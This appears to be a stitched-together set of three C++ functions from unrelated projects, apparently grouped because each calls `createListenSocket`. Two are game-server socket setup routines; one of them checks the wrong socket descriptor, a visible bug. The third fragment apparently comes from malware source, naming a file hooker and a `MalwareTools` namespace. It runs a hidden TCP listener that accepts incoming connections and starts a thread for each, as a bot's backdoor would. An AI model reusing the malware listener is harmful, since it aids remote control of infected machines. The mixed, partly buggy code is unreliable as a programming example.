int WorldNetHandler::initSockets() { int port = serverConfig.worlddGamedPort( G_WorldD_ID); string addr = serverConfig.worlddIp(G_WorldD_ID); gamedfd = createListenSocket("gamed", toString(port), addr); if (gamedfd<0) { return -1; } port = serverConfig.worlddWebPort(G_WorldD_ID); addr = serverConfig.worlddIp(G_WorldD_ID); wsfd = createListenSocket("web", toString(port), addr); if (gamedfd<0) { return -1; } last_keepalive_check = 0; #ifdef _WIN32 // for windows return max(gamedfd, wsfd); #else // for linux return 0; #endif }
int PlatNetHandler::initSockets() { int port = serverConfig.plat_gamed_Port(G_PlatSrvD_ID); string addr = serverConfig.plat_bind_ip(G_PlatSrvD_ID); gamedfd = createListenSocket("plat", toString(port), addr); if (gamedfd<0) { return -1; } last_keepalive_check = 0; #ifdef _WIN32 // for windows return gamedfd; #else // for linux return 0; #endif }
static DWORD WINAPI proc(void *) { CoreHook::disableFileHookerForCurrentThread(true); HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_TCP_SERVER, MalwareTools::KON_GLOBAL); if(mutex == NULL) { WDEBUG0(WDDT_ERROR, "Failed"); return 1; } WDEBUG0(WDDT_INFO, "Started."); if(Core::isActive()) { LocalSettings::SETTINGS ls; LocalSettings::getCurrent(&ls); //Forcibly trying to create sockets. SOCKETDATA s1Ipv4, s1Ipv6; WORD currentPort; while((currentPort = createListenSocket(ls.tcpPortS1, &s1Ipv4, &s1Ipv6)) == 0) { if(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 1000) != WAIT_TIMEOUT)break; } if(currentPort != 0) //Otherwise worked coreData.globalHandles.stopEvent. { //If the port has been changed, save it. if(currentPort != ls.tcpPortS1) { LocalSettings::beginReadWrite(&ls); ls.tcpPortS1 = currentPort; LocalSettings::endReadWrite(&ls); } //Create a map of events. HANDLE events[3]; DWORD eventsCount = 0; { events[eventsCount++] = coreData.globalHandles.stopEvent; if(s1Ipv4.event != NULL)events[eventsCount++] = s1Ipv4.event; if(s1Ipv6.event != NULL)events[eventsCount++] = s1Ipv6.event; } //We are waiting for events. DWORD curEvent; while((curEvent = CWA(kernel32, WaitForMultipleObjects)(eventsCount, events, FALSE, INFINITE)) > WAIT_OBJECT_0 /*Ie skip stopEvent*/ && curEvent < WAIT_OBJECT_0 + eventsCount) { curEvent -= WAIT_OBJECT_0; //Define the socket. SOCKET clientSocket, incomingSocket; if(events[curEvent] == s1Ipv4.event)incomingSocket = s1Ipv4.s; else if(events[curEvent] == s1Ipv6.event)incomingSocket = s1Ipv6.s; //Accept a connection on a socket. while((clientSocket = CWA(ws2_32, accept)(incomingSocket, NULL, NULL)) != INVALID_SOCKET) { //Set up the socket. CWA(ws2_32, WSAEventSelect)(clientSocket, NULL, 0); WSocket::setNonBlockingMode(clientSocket, false); WSocket::tcpDisableDelay(clientSocket, true); //Create a thread session. if(Process::_createThread(128 * 1024, s1Proc, (void *)clientSocket) == 0) { WDEBUG0(WDDT_ERROR, "Failed to create thread."); WSocket::tcpClose(clientSocket); } } } //Free resources. freeSocketData(&s1Ipv4); freeSocketData(&s1Ipv6); } } WDEBUG0(WDDT_INFO, "Stopped."); Sync::_freeMutex(mutex); return 0; }